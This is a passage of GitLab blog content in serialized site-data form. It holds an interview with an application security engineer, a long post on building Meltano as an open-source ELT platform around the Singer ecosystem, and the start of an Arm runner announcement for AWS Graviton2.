constant?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670837/Blog/Hero%20Images/two-brown-trees.jpg","https://about.gitlab.com/blog/security-strengthened-by-interation-and-transparency","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Security strengthened by iteration, and transparency\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-05-18\",\n      }",{"title":23466,"description":23467,"authors":23472,"heroImage":23468,"date":23454,"body":23473,"category":18484,"tags":23474},[12307],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\n***We sat down with senior application security engineer, Dominic Couture to talk about the challenges of working in AppSec, why the principle of least privilege works, and why our level of transparency makes our product more, not less, secure.***\n\n---\n\n![Dominic Couture Headshot](https://about.gitlab.com/images/blogimages/dcouture.png){: .small.right.wrap-text} **Name:** Dominic Couture\n\n**Title:** Senior security engineer, [Application Security](/topics/devsecops/)\n\n**How long have you been at GitLab?** I started in November 2019\n\n**GitLab handle:** [@dcouture](https://gitlab.com/dcouture)\n{: #tanuki-orange}\n\n**Connect with Dominic:** [LinkedIn](https://ca.linkedin.com/in/dominic-couture)/[Twitter](https://twitter.com/dee__see)\n\n\n\n#### Tell us what you do here at GitLab:\nI read a lot of GitLab code! I look for vulnerabilities or simply code improvements before it is shipped, as part of defense in depth. I also review issues when they’re in the planning stage for potential vulnerabilities, help maintain our [secure coding guidelines](https://docs.gitlab.com/ee/development/secure_coding_guidelines.html), write new tests and automation to support team workflows, and triage bugs that come through our bug bounty program.\n\n#### What’s the most challenging or rewarding aspect of your role?\nThe most challenging thing is trying to keep an eye on everything. There are tons of new features being worked on at all times and we know we can’t review every single one of them, so we prioritize and review what appears to be the most security critical. However, sometimes vulnerabilities will slip by in issues that didn’t seem to be security-sensitive at first. When this happens, we need to find ways to optimize our processes to ensure we catch potential issues  the next time we’re in a similar situation.\n\nThe most rewarding thing is when we do the above successfully! When we identify a common flaw in our code or process and we successfully put automation in place that eliminates it. It makes the product safer and the workload lighter so we can concentrate on new things.\n\n#### And, what are the top 2-3 initiatives you’re currently focused on?\nMany of the things we work on in the Application Security team are [not public](https://handbook.gitlab.com/handbook/values/#not-public) until they are finished so I can’t link to the detailed issues, but with that in mind…\n* I’m currently working on getting some automated testing in place to catch permission bugs in a specific part of our app. This will cover existing code and make it easy to test future code in that part of the application.\n* We’re also starting on a code review in another part of GitLab to find information leaks in APIs that might return more than the user asked for. We’re looking for issues similar to the leaks we’ve seen previously [through Elasticsearch results](https://gitlab.com/gitlab-org/gitlab/-/issues/29491).\n* I’m getting to know the teams and features in the [Verify](/stages-devops-lifecycle/verify/) and [Release](/stages-devops-lifecycle/release/) stages as I’m the [stable counterpart](/handbook/security/security-engineering/application-security/stable-counterparts.html) for them. I’m developing an expertise in those specific areas so I can have more context and provide more insightful comments when those teams ask for application security reviews.\n\n#### What is the most significant piece of security advice you could provide to a colleague or friend?\nI think everyone on our security team [who’s been asked this question](/blog/the-sky-is-not-falling/) has answered to use a password manager and I completely agree. A password manager and a unique password (and [MFA](https://en.wikipedia.org/wiki/Multi-factor_authentication)!) on every service you use is the difference between a relatively harmless leak on that small niche forum you participate in and a full identity theft due to a [credential stuffing](https://en.wikipedia.org/wiki/Credential_stuffing) attack that pivots to your bank account.\n\nFor a more technical piece of advice, I think the [principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege) is something to keep in mind at all times. When applied to APIs, the idea is to have the strictest permission requirements as a default. This ensures that if the permissions aren’t verified properly in the code, the result would be a bug which wouldn’t allow access to an asset by a user who should have access rather than a security bug that results in a data breach.\n\n#### How did you get into security? \nHackers have always fascinated me. As a child I had the desire to understand how what they were doing was possible and it is what got me interested in computers in the first place. I was in my early teens when I got my first computer and I quickly taught myself how to build websites. When talking to people about my programming projects I was warned about things like SQL injection and other types of security vulnerabilities. That piqued my curiosity and while researching those topics I discovered that [wargames](https://en.wikipedia.org/wiki/Wargame_(hacking)) existed. Since then, “hacking for fun” has always been a hobby for me. I’ve been a software developer for most of my career and while security has always been a part of that job, it was only when I joined GitLab that I became a security professional and transformed my hobby into a career.\n\n#### What do you look forward to most in security in the next 5 years?\nWhile automation will never solve all the problems, it can certainly solve some of them! I’m both curious and excited about security scanners moving to the next level with more insightful analysis and fewer false positives. AI and machine learning are the usual buzzwords we hear around this topic but I mainly look forward to [SAST](https://docs.gitlab.com/ee/user/application_security/sast/) tools having a better understanding of the code flow and being able to tell if my `os.Open(path)` call really involves user input and is indeed risky; instead of just flagging it for me to review *in case* it is.\n\n#### What mainstream or industry propagated security myth would you like to be better understood?\n[Virtual Private Networks](https://en.wikipedia.org/wiki/Virtual_private_network) (VPNs) are highly praised in online advertising lately and the claims around the safety they provide seem to be a bit exaggerated. In fact, [GitLab doesn’t even have a corporate VPN](/handbook/security/#why-we-dont-have-a-corporate-vpn)! I really enjoy [Tom Scott’s video](https://www.youtube.com/watch?v=WVDQEoe6ZWY) about the subject. In brief: VPNs nowadays provide little more security than the near-ubiquitous https protocol already does in many of the everyday use cases, and that includes using your laptop at the coffee shop. Don’t get me wrong, VPNs are very relevant and there are many valid reasons to use one, I just feel like the advertising around them isn’t completely truthful and people with no technical knowledge might be led to buy things they don’t need.\n\n#### GitLab is very unique in that we strive to be incredibly transparent...about everything.  What sort of challenges or opportunities does that present to you as a security professional?\nTransparency is a part of everything we do here at GitLab and most things are [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default). This transparency-driven approach can lead to some occasional share of things that should not be public. Keeping an eye on those things to catch them before someone else does is challenging. Luckily for us, we run a public bug bounty program and have reporters that are very skilled at finding those things before the “bad people” do, should something slip through our fingers. While we’d rather keep those bounty payments to a minimum, it’s still a better outcome for GitLab than if someone had abused the leaked information.\n\nWith our open-source code base, the [blog articles](/blog/how-to-exploit-parser-differentials/) the security research team publishes about their findings, and our disclosure of the [bugs that come in through our bug bounty program](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=HackerOne) 30 days after being fixed, external researchers get an almost unparalleled level of insight and information about GitLab. This allows them to find and report much better vulnerabilities than if they were doing their testing in a black-box environment. The security risks associated with our level of transparency are usually the first thing to come to people’s mind, but in fact, our transparency makes our software more secure.\n\n> The security risks associated with our level of transparency are usually the first thing to come to people’s mind, but in fact, our transparency makes our software more secure.\n\n#### What sources make up your daily newsfeed to keep up to date in the industry?\nI try to use social media as little as possible, but I can’t deny that Twitter is the best place for security news. There are great blogs and websites to follow ([our GitLab Security blog](/blog/categories/security/), [PortSwigger’s research blog](https://portswigger.net/research) and [Google Project Zero](https://googleprojectzero.blogspot.com/) come to mind) but there are also tons of independent researchers that publish only once or twice a year and Twitter is the place to find out about all that good content.\n\n## Now, for the questions you *really* want to have answered:\n\n\n#### Favorite Linux distro?\nArch Linux! The installation process isn’t as hard as the memes pretend it is, the documentation is wonderful and you have a lot of power over what runs on your system. Arch uses systemd which has been a polarizing topic in recent years but if you don’t mind that it’s a great distro.\n\n#### What’s your favorite season?\nWinter. Luckily for me, I live in a place that’s covered in snow nearly 6 months a year so there’s a lot of winter to enjoy! There’s nothing like the freedom and fun of exploring the local forest and mountains on my nordic touring skis.\n\n#### When you’re not working, what do you enjoy doing?\nI run, bike, ski and hike a lot (always with my 2 australian shepherds by my side) and that serves as permanent training for the one or two ultramarathons I run each year. I love camping out in the forest with as little equipment as possible and basically just spending time in the forest. When inside, I like to hunt for security bugs on companies that run bug bounty programs (if it’s not on GitLab, it’s not work anymore, right?).\n\n#### Have a favorite quote?\n> The best time to plant a tree was 20 years ago. The second best time is now.\n\nThe internet says it’s a Chinese proverb though there’s nothing to back that up. We could probably all point to things we could/should have done differently in life but all that time spent thinking about it is time that isn’t spent actually doing it and benefiting from the change. It’s not too late!\n\nCover image by [Johannes Plenio](https://www.pexels.com/@jplenio) on [Pexels](https://www.pexels.com/photo/two-brown-trees-1632790/)\n{: .note}\n",[7715,676,674,674],{"slug":23476,"featured":6,"template":678},"security-strengthened-by-interation-and-transparency","content:en-us:blog:security-strengthened-by-interation-and-transparency.yml","Security Strengthened By Interation And Transparency","en-us/blog/security-strengthened-by-interation-and-transparency.yml","en-us/blog/security-strengthened-by-interation-and-transparency",{"_path":23482,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23483,"content":23488,"config":23493,"_id":23495,"_type":16,"title":23496,"_source":17,"_file":23497,"_stem":23498,"_extension":20},"/en-us/blog/why-gitlab-is-building-meltano-an-open-source-platform-for-elt-pipelines",{"title":23484,"description":23485,"ogTitle":23484,"ogDescription":23485,"noIndex":6,"ogImage":18477,"ogUrl":23486,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23486,"schema":23487},"Why GitLab is building Meltano, an open source platform for ELT pipelines","Our goal is to make the power of data integration available to all by building a true open source alternative to existing proprietary hosted ELT solutions.","https://about.gitlab.com/blog/why-gitlab-is-building-meltano-an-open-source-platform-for-elt-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab is building Meltano, an open source platform for ELT pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Douwe Maan\"}],\n        \"datePublished\": \"2020-05-18\",\n      }",{"title":23484,"description":23485,"authors":23489,"heroImage":18477,"date":23454,"body":23491,"category":18484,"tags":23492},[23490],"Douwe Maan","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThis post was originally [published on the Meltano blog](https://meltano.com/blog/why-we-are-building-an-open-source-platform-for-elt-pipelines/) on May 13, 2020.\n{: .alert .alert-info}\n\nThis post is part 2 of a 2-part series to announce and provide context on the new direction of [Meltano](https://meltano.com).\nIf you've been following Meltano for a while or would like to have some historical context, start with part 1: [Revisiting the Meltano strategy: a return to our roots](https://meltano.com/blog/revisiting-the-meltano-strategy-a-return-to-our-roots/).\nIf you're new to Meltano or are mostly interested in what's coming, feel free to skip part 1 and start here.\nIf you're worried that reading this entire post will take a lot of time, feel free to jump right to the conclusion: [Where Meltano fits in](#where-meltano-fits-in).\n{: .note}\n\n## Introduction\n\nIf you've read [part 1 of the series](https://meltano.com/blog/revisiting-the-meltano-strategy-a-return-to-our-roots/), you know that [Meltano](https://meltano.com) is now focused on building an **open source platform for data integration and transformation (ELT) pipelines**, and that we're very excited about it.\n\nBut why are we even building this?\n\nIsn't data integration (getting data from sources, like SaaS tools, to destinations, like data warehouses) a solved problem by now, with modern off-the-shelf tools having taken the industry by storm over the past few years, making it so that many (smaller) companies and data teams don't even need data engineers on staff anymore?\n\nOff-the-shelf ELT tools are not _that_ expensive, especially compared to other tools in the data stack, like Looker, and not having to worry about keeping your pipelines up and running or writing and maintaining data source connectors (extractors) is obviously extremely valuable to a business.\n\nOn top of that, writing and maintaining extractors can be tedious, thankless work, so why would anyone want to do this themselves instead of just paying a vendor to handle this burden instead?\n\nWho would ever want to use a self-managed ELT platform? And why would anyone think building this is a good use of time or money, _especially_ if it's going to be free and open source?\n\n---\n\nIn [part 1](https://meltano.com/blog/revisiting-the-meltano-strategy-a-return-to-our-roots/), I explained why we have concluded that in order to eventually realize our end-to-end vision for Meltano (a single tool for the entire data lifecycle, from data source to dashboard), we have to go all-in on positioning Meltano as an open source self-managed platform for running data integration and transformation (ELT) pipelines, and will turn Meltano into a true open source alternative to existing proprietary hosted solutions like [Alooma](https://www.alooma.com/), [Blendo](https://www.blendo.co/), [Hevo](https://hevodata.com/), [Matillion](https://www.matillion.com/products/etl-software/), [Pentaho](https://www.hitachivantara.com/en-us/products/data-management-analytics/pentaho-platform.html), and [Xplenty](https://www.xplenty.com/), in terms of ease of use, reliability, and quantity and quality of supported data sources.\n\nHowever, the points and questions raised above are totally valid, and were in fact raised by actual data engineers I've talked to over the past few weeks. While Meltano (and [GitLab](https://about.gitlab.com), which sponsors its development) have a need for the existence of such a tool, it's a separate matter entirely whether there are any data engineers or data teams out there who share that need.\n\nWould any data team actually consider joining the community, contributing to Meltano and its extractors and loaders, and eventually migrating to the open source tool, away from whatever proprietary solution they use today?\n\n## The problem: pay to play\n\nThe idea is that every data team in the world needs a data integration tool, because one way or another you have to get your data from your various sources into your data warehouse so that it can be analyzed. And since every company would be better off if they were analyzing their data and learning from their ups and downs, every company in the world needs a data integration tool whether they already realize it or not.\n\nSince there is currently no true open source alternative to the popular proprietary tools, the data space has effectively become \"pay to play\". There are many great open source analytics and business intelligence tools out there ([Superset](https://superset.incubator.apache.org/), [Metabase](https://www.metabase.com/), and [Redash](https://redash.io/) come to mind, and let's not forget that Meltano comes with built-in analytics functionality as well), but all assume that your data will somehow have already found its way into a data warehouse.\n\nIf for any reason at all you cannot use one of the hosted platforms, you are essentially out of luck and will not get to compete on a level playing field with those companies that can afford to integrate their data and start learning from it. Even if you have everything else going for you, you are massively disadvantaged from day one.\n\nPerhaps, you do not think of these off-the-shelf tools as particularly expensive, you're fine with your sensitive data flowing through a US company's servers, and you would happily pay for professional services if you ever need to extract data from a source that isn't supported already. \n\nHowever, many around the world will find prices US companies charge prohibitively expensive relative to their local income, may prefer (or be legally required) to have their data not leave their country or their servers, or may find that the locally grown SaaS services they use are often not supported by the existing US-centric vendors.\n\nAnd to be clear, US companies are not immune to these issues, even if they may be somewhat less affected by the financial argument. Think of HIPAA compliance, for example, which many (most? all?) hosted tools don't offer unless you sign up for one of their more expensive plans.\n\n**If you do not feel the pain of the current situation or see the need for change, recognize that your experience may not be representative.**\n\n### Data integration as a commodity\n\nThis perspective leads me to an argument with an ideological angle, that is particularly compelling to me because of the many parallels I see with the early days of [GitLab](https://about.gitlab.com/): the open source project that was [founded in Ukraine back in 2011](https://about.gitlab.com/company/history/) with the goal of building a self-managed alternative to the likes of [GitHub](https://github.com/) and [Bitbucket](https://bitbucket.org/), that a few years later became an open core product maintained primarily by the newly founded company that shares its name. To this day, GitLab comes in open source and proprietary flavors, and the functionality included in the Community Edition continues to be sufficient for hundreds of thousands of organizations around the world, that would otherwise have needed to opt for a paid, proprietary alternative. As GitLab is sponsoring the development of Meltano, these parallels are not a coincidence.\n\nSince an ELT platform is a tool every data engineer and every company needs if they want to have the best chance of survival and success, I would argue that it should be a commodity and should be available at a reasonable cost to everyone who wants or needs it. Anything less than that hurts a significant number of companies in their ability to reach their true potential and serve their users and customers as well as they would want to, thereby stifling innovation and competition, and we all end up paying the price because we have to deal with companies and products that are less optimized and improved than they could be.\n\nThe obvious question: if this is apparently such a problem, why haven't tons of competitors popped up already to serve these local markets or inject some competition into the US market? Orchestrating reliable data pipelines _is_ a solved problem, even in the open source space, where great tools like [Airflow](https://airflow.apache.org/) and [Luigi](https://github.com/spotify/luigi) exist and are running in production at thousands of organizations. That's not to say they're as easy to configure and get started with as the hosted platforms we're talking about, but the technology is there, assuming you have an extractor and loader to plug in.\n\nAnd I think that assumption is at the core of the issue, and at the core of the economic moat that the existing vendors have created around themselves, that makes it hard for new parties to enter the market and compete: the impressive amount of data sources they support out of the box, and their massive (in-house or outsourced) teams that have spent and continue to spend thousands of hours developing and maintaining these extractors and loaders.\n\nIf you've read [part 1](https://meltano.com/blog/revisiting-the-meltano-strategy-a-return-to-our-roots/) of this 2-part series, you'll remember that we ran into this ourselves when we offered a hosted version of Meltano's data connection and analytics interface to non-technical end-users. They could go straight from connecting their data source to viewing a dashboard, but only if we had written the extractor, loader, transformations, and models for that data source beforehand, and if we would continue to maintain these forever. We realized that this wasn't going to scale, and so would most companies that would decide to just write and maintain their own extractors instead of paying someone else to do it: it's a lot of work, and **it never ends**.\n\n## The solution: open source\n\nUltimately, though, the size of the economic moat that exists around these vendors can be measured in terms of developer hours, and there's no secret sauce or intellectual property that separates the current major players from anyone else out there who has their own hours to bring to the table.\n\nBy yourself, as a single company or data engineer, implementing and maintaining extractors for all of the data sources you need to integrate is not feasible, which is why most don't.\n\nTogether, though, that changes. With a big enough group of people capable of programming and motivated to collaborate on the development and maintenance of extractors and loaders, it's just a matter of time (and continued investment of time by a subset of the community) before every proprietary extractor or loader has an open source equivalent. The maintenance burden of keeping up with API and schema changes is not insignificant, but if open source communities can manage to maintain language-specific API client libraries for most SaaS APIs out there, there's no reason to think we'd have a harder time maintaining these extractors.\n\nAssuming there is no secret sauce or key intellectual property involved, **a sufficiently large and motivated group of people capable of programming can effectively will any new tool into existence**: that is the power of open source.\n\nThe more common the data source, the more people will want it, the faster it'll be implemented, the more heavily it'll be tested, and the more actively it'll be maintained. It doesn't need to take long before the segment of the market that only uses these common data sources will be able to swap out their current data integration solution for this open source alternative. It's not an all-or-nothing matter either: data teams can move their data pipelines over on a pipeline-by-pipeline basis, as extractors become available and reach the required level of quality.\n\nOf course, a self-managed platform for running data integration pipelines wouldn't just need to support a ton of extractors and loaders. You would also want to be confident that you can run it in production and get the same reliability and monitoring capabilities you get with the hosted vendors. Fortunately, this is where we can leverage an existing open source tool like Airflow or Luigi, that this hypothetical self-managed platform could be built around.\n\n### Everyone wins\n\nEven if you're not personally interested in ever using a self-managed data integration platform, you may benefit from us building one anyway.\n\nOpen source is the most promising strategy available today to increase competition in the data integration and data pipeline space. Even if the specific tool we're building doesn't actually become the Next Big Thing, the market will benefit from that increased competition.\n\nDevelopers of new SaaS tools and data warehouse technology would also benefit from an open source standard for extractors and loaders. Rather than wait (or pay) for data integration vendors to eventually implement support for their tool once it reaches a high enough profile or once its users start begging (or paying) the vendor loudly enough, new tools could hit the ground running by writing their own integrations. Today, many companies wouldn't consider switching to a new SaaS tool that isn't supported by their data integration vendor at all, putting these tools at a significant competitive disadvantage against their more mature and well-connected competitors.\n\nThe only ones who have something to lose here are the current reigning champions. For everyone else it's a win-win, whether you actually contribute to or use Meltano, or not. If you don't believe me, just look at the [DevOps](/topics/devops/) space and the impact that GitLab has had on the industry and the strategy and offering of the previously dominant players, GitHub and Bitbucket.\n\nIf an industry has effectively become \"pay to play\" because every software engineer in that industry needs to use one of a handful of paid tools in order to get anything done at all, there is a massive opportunity for an open source alternative \"for the people, by the people\" to level the playing field, and disrupt the established players from the bottom on up.\n\nOf course, GitLab is not just interested in sponsoring the development of such an open source project out of the goodness of its heart. The hope is that eventually, a business opportunity will arise out of this project and its community and ecosystem, because even if a truly competitive free and open source self-managed option is available, there will always be companies that would still prefer a hosted version with great support and enterprise features, who won't mind paying for it.\n\nBut for everyone else, **there will always be a Community Edition, and data integration will forever be a commodity rather than pay to play**.\n\n## The Singer specification\n\nOf course, we are not the first to be intrigued by the concept of open source data integration. Most significantly, [Stitch](https://www.stitchdata.com/) has developed the [Singer specification](https://www.singer.io/), which they describe as follows:\n\n> Singer describes how data extraction scripts—called “taps” —and data loading scripts—called “targets”— should communicate, allowing them to be used in any combination to move data from any source to any destination. Send data between databases, web APIs, files, queues, and just about anything else you can think of.\n\nThere's a [Getting Started guide](https://github.com/singer-io/getting-started/) on how to develop and run taps and targets (extractors and loaders), many dozens of them have already been written for wide range of data sources, warehouses and file formats, a good amount of them are actively maintained and being used in production by various organizations, and the [Singer community on Slack](https://singer-slackin.herokuapp.com/) has over 2,100 members, with new people joining every day.\n\nOnce you've written (or installed) a tap and target, you can pipe them together on the command line (`tap | target`) and see your data flow from source to destination, which you can imagine is quite satisfying.\n\nOnce you've hit that milestone, though, the next step is not quite so obvious. How do I actually build a data pipeline out of this that I can run in production? Is there a recommended deployment or orchestration story? How do I manage my pipeline configuration and state? How do I keep track of the metrics some taps output, and how do I monitor the whole setup so that it doesn't fall flat on its face while I'm not looking?\n\nUnfortunately, the Singer specification and website don't touch on this. A number of tools have come out of the Singer community that make it easier to run taps and targets together ([PipelineWise](https://transferwise.github.io/pipelinewise/), [singer-runner](https://github.com/datamill-co/singer-runner), [tapdance](https://github.com/aaronsteers/tapdance), and [knots](https://github.com/singer-io/knots), to list a few), and some of these are successfully being used in production, but getting to that point still requires one to figure out and implement a deployment and orchestration strategy, and those who have managed to do so effectively have all needed to reinvent the wheel.\n\nThis means that while open source extractors and loaders do exist, as does a community dedicated to building and maintaining them, what's missing is the open source tooling and documentation around actually deploying and using them in production.\n\n### The missing ingredients\n\nIf this tooling did exist and if Singer-based data integration pipelines were truly easy to deploy onto any server or cloud, the Singer ecosystem immediately becomes a lot more interesting. Anyone would be able to spin up their own [Alooma](https://www.alooma.com/)/[Blendo](https://www.blendo.co/)/[Hevo](https://hevodata.com/)/[Matillion](https://www.matillion.com/products/etl-software/)/[Pentaho](https://www.hitachivantara.com/en-us/products/data-management-analytics/pentaho-platform.html)/[Xplenty](https://www.xplenty.com/)-alternative, self-managed and ready to go with a wide range of supported data sources and warehouses. Existing taps and targets would get more usage, more feedback, and more contributions, even if many prospective users may still end up opting for one of the proprietary alternatives in the end.\n\nMany people who come across the Singer ecosystem today end up giving up because they can't see a clear path towards actually using these tools in production, even if taps and targets already exist for all of the sources and destinations they're interested in. You have to be particularly determined to see it through and not just opt for one of the hosted alternatives, so the majority of people developing taps and targets and running them in production today are those for whom _not_ self-hosting was never really an option. Any amount of better tooling and documentation will cause people to take the Singer ecosystem more seriously as an open source data integration solution, and convince a couple more people to give it a try, who would have long given up today.\n\nDeveloping taps and targets is also not as easy as it could be. The Getting Started guide and [singer-tools](https://github.com/singer-io/singer-tools) toolset are a great start, and implementing a basic tap is pretty straightforward, but building one you would actually be comfortable running in production is still a daunting task. The existing taps can serve as examples, but they are not implemented consistently and don't all implement the full range of Singer features. The [singer-python](https://github.com/singer-io/singer-python) library contains utility functions for some of the most common tasks, but taps end up reimplementing a lot of the same boilerplate behavior anyway. Moreover, a testing framework or recommended strategy does not exist, meaning that users may not find out that a small inconspicuous change broke their extractor or loader until they see their entire data pipeline fail.\n\nAll in all, the Singer ecosystem has a ton of potential but suffers from a high barrier to entry, that negatively affects the experience of those who want to use using existing taps and targets, as well as those potentially interested in developing new ones.\n\nOver the past few weeks, I've spent many hours talking to various members of the Singer community who _have_ been able to get their Singer-based pipelines running in production, and the observations above are informed by their perspectives and experience. Unanimously, they agreed that the Singer ecosystem is not currently living up to its potential, that change is needed, and that better tooling and documentation around deployment and development would go a long way.\n\n## Where Meltano fits in\n\nAs I'm sure you've pieced together by now, [Meltano](https://meltano.com/) intends to be that tooling and bring that change.\n\nOur goal is to **make the power of data integration available to all** by turning Meltano into a **true open source alternative to existing proprietary hosted ELT solutions**, in terms of ease of use, reliability, and quantity and quality of supported data sources.\n\nLuckily, we're not starting from zero: Meltano already speaks the Singer language and [uses taps and targets for its extractors and loaders](https://meltano.com/#integration). Its support goes beyond simply piping two commands together, as it also manages [configuration](https://meltano.com/docs/command-line-interface.html#config), [entity selection](https://meltano.com/docs/command-line-interface.html#select) and [extractor state](https://github.com/singer-io/getting-started/blob/master/docs/CONFIG_AND_STATE.md#state-file) for you. It also makes it super easy to [set up pipeline schedules](https://meltano.com/#orchestration) that can be run on top of a supported orchestrator like [Airflow](https://airflow.apache.org/).\n\nAdditionally, Meltano supports [dbt](https://www.getdbt.com/)-based [transformation as part of every ELT pipeline](https://meltano.com/#transformation), and comes with a basic web interface for [data source connection and pipeline management](https://meltano.com/docs/analysis.html#connect-data-sources) and [point-and-click analytics and report and dashboard creation](https://meltano.com/docs/analysis.html#explore-your-data), enabling you to go from data to dashboard using a single tool, that you can [run locally or host on any cloud](https://meltano.com/docs/installation.html).\n\nFor the foreseeable future, though, our focus will primarily be on [data integration](https://meltano.com/#integration), not transformation or analysis.\n\nWhile we've come a long way already, there's still plenty of work to be done on the fronts of ease of use, reliability, and quantity and quality of supported data sources, and we can't afford to get distracted.\n\n### Let's get to work!\n\nIf any of the above has resonated with you, or perhaps even inspired you, we'd love your help in realizing this vision for Meltano, the Singer ecosystem, and the data integration space in general. We literally won't be able to do it without you.\n\nBefore anything else, you'll want to see what Meltano can already do today by following the [examples on the homepage](https://meltano.com/). They can be copy-pasted right onto your command line, and in a matter of minutes will take you all the way through [installation](https://meltano.com/#installation), [integration](https://meltano.com/#integration), [transformation](https://meltano.com/#transformation), and [orchestration](https://meltano.com/#orchestration) with the [`tap-gitlab` extractor](https://meltano.com/plugins/extractors/gitlab.html) and [`target-jsonl`](https://meltano.com/plugins/loaders/jsonl.html) and [`target-postgres`](https://meltano.com/plugins/loaders/postgres.html) loaders.\n\nOnce you've got that working, you'll probably want to try Meltano with a different, more realistic data source and destination combination, which will require you to add a new [extractor](https://meltano.com/plugins/extractors/) ([Singer tap](https://www.singer.io/#taps)) and/or [loader](https://meltano.com/plugins/loaders/) ([Singer target](https://www.singer.io/#targets)) to your Meltano project. To learn how to do this, the homepage once again [has got you covered](https://meltano.com/#meltano-add).\n\nAnd that's about as far as you'll be able to get right now, with Meltano's existing tooling and documentation. Running a Meltano pipeline locally (with or without Airflow) is one thing, but actually deploying one to production is another. As we've identified, this is one of the places where the Singer ecosystem and documentation currently fall short, and for the moment, [Meltano is no different](https://gitlab.com/groups/meltano/-/epics/79).\n\nFor this reason, the first people we would love to get involved with the Meltano project are **those who are already part of the Singer community**, and in particular **those who have already managed to get Singer-based ELT pipelines running in production**. We want to make it so that all future Singer community members and Meltano users will be able to accomplish what they did, and no one knows better what that will take (and how close or far off Meltano currently is) than they do.\n\nIf you're one of these people, or simply anyone with similarly relevant feedback, ideas, or experience, we'd love it if you would:\n\n- [give Meltano a try](https://meltano.com/) and compare it to the tools you are using today,\n- [join us on Slack](https://join.slack.com/t/meltano/shared_invite/zt-cz7s15aq-HXREGBo8Vnu4hEw1pydoRw) to receive (and provide) community support,\n- [follow us on Twitter](https://twitter.com/meltanodata) to stay up to date on new releases and other developments,\n- [file new issues on GitLab.com](https://gitlab.com/meltano/meltano/-/issues/new) for any ideas you have or bugs you run into,\n- [participate in existing issues](https://gitlab.com/meltano/meltano/-/issues) that may benefit from your perspective,\n- [check out the Python codebase](https://gitlab.com/meltano/meltano) if you're curious, and _last but not least_:\n- **consider [contributing to Meltano](https://meltano.com/#contributing), its [documentation](https://meltano.com/docs/), and its [extractors](https://meltano.com/plugins/extractors/) and [loaders](https://meltano.com/plugins/loaders/)**, so that your, our, and everyone else's hopes and dreams for Meltano may actually come true.\n\nI can't wait to see what we'll be able to accomplish together.\n\nSee you soon on [Slack](https://join.slack.com/t/meltano/shared_invite/zt-cz7s15aq-HXREGBo8Vnu4hEw1pydoRw) or [GitLab.com](https://gitlab.com/meltano/meltano)!\n",[815,676],{"slug":23494,"featured":6,"template":678},"why-gitlab-is-building-meltano-an-open-source-platform-for-elt-pipelines","content:en-us:blog:why-gitlab-is-building-meltano-an-open-source-platform-for-elt-pipelines.yml","Why Gitlab Is Building Meltano An Open Source Platform For Elt Pipelines","en-us/blog/why-gitlab-is-building-meltano-an-open-source-platform-for-elt-pipelines.yml","en-us/blog/why-gitlab-is-building-meltano-an-open-source-platform-for-elt-pipelines",{"_path":23500,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23501,"content":23506,"config":23512,"_id":23514,"_type":16,"title":23515,"_source":17,"_file":23516,"_stem":23517,"_extension":20},"/en-us/blog/gitlab-arm-aws-graviton2-solution",{"title":23502,"description":23503,"ogTitle":23502,"ogDescription":23503,"noIndex":6,"ogImage":17364,"ogUrl":23504,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23504,"schema":23505},"Announcing 32/64-bit Arm Runner Support for AWS Graviton2","GitLab enables CI/CD solution on Arm-based AWS Graviton2 instances.","https://about.gitlab.com/blog/gitlab-arm-aws-graviton2-solution","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing 32/64-bit Arm Runner Support for AWS Graviton2\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kushal Koolwal\"}],\n        \"datePublished\": \"2020-05-15\",\n      }",{"title":23502,"description":23503,"authors":23507,"heroImage":17364,"date":23509,"body":23510,"category":736,"tags":23511},[23508],"Kushal Koolwal","2020-05-15","\n\n_Kushal Koolwal is senior manager, Software Ecosystem Development at Arm Inc._\n\nAt Arm TechCon 2019, GitLab and Arm [announced](/blog/devops-on-the-edge-a-conversation-about-gitlab-and-arm/) a joint partnership with the goal of providing first class citizen support for Arm architecture starting with [GitLab’s CI/CD tool](/topics/ci-cd/).\n\n\"Arm is on a mission to make cloud-native developers’ experience frictionless by building out the software stack and enabling a complete set of developer tools,\" says [Pete Goldberg](/company/team/#pete_goldberg), director of Partnerships, GitLab. \"Amazon Web Services (AWS) is the first major cloud provider to build and deploy Arm-powered compute instances. GitLab is proud to be Arm’s CI/CD solution, enabling DevOps to seamlessly certify new and existing applications in production environments hosted on AWS Graviton2.\"\n\n### GitLab and Arm announcement and partnership enhancements\n\nToday, the partnership achieved another major milestone in its partnership efforts with the delivery of official support for 32-bit and 64-bit Arm-based GitLab runners in binary, rpm/deb packaging, and Docker image format.\n\n#### This milestone highlights the following enhancements:\n\n\n*   Arm [Runner binaries](https://gitlab-runner-downloads.s3.amazonaws.com/latest/index.html) were made available in the 12.6 release as part of the Graviton2 launch at [AWS re:Invent 2019](/blog/updates-from-aws-reinvent/), allowing developers to start immediately in their custom environments.\n*   [RPM/DEB packages](https://packages.gitlab.com/runner/gitlab-runner) for easier install/upgrade in 12.9 release.\n*   Native Arm [Docker image](https://hub.docker.com/r/gitlab/gitlab-runner/tags) in 13.0 release for container-based environments.\n\n#### As a testament to the strength of the partnership, GitLab has:\n\n*   [Released a demo showing how to deploy and AWS Graviton2 M6g Instance](https://youtu.be/0dntra12w6w)\n*   [Joined](https://developer.arm.com/solutions/infrastructure/developer-resources/ci-cd/gitlab) the [Arm Neoverse developer program ](https://developer.arm.com/solutions/infrastructure/developer-resources/ci-cd/gitlab)\n*   Adding support for Arm architectures for [Auto DevOps](https://gitlab.com/gitlab-org/gitlab/-/issues/214552) and 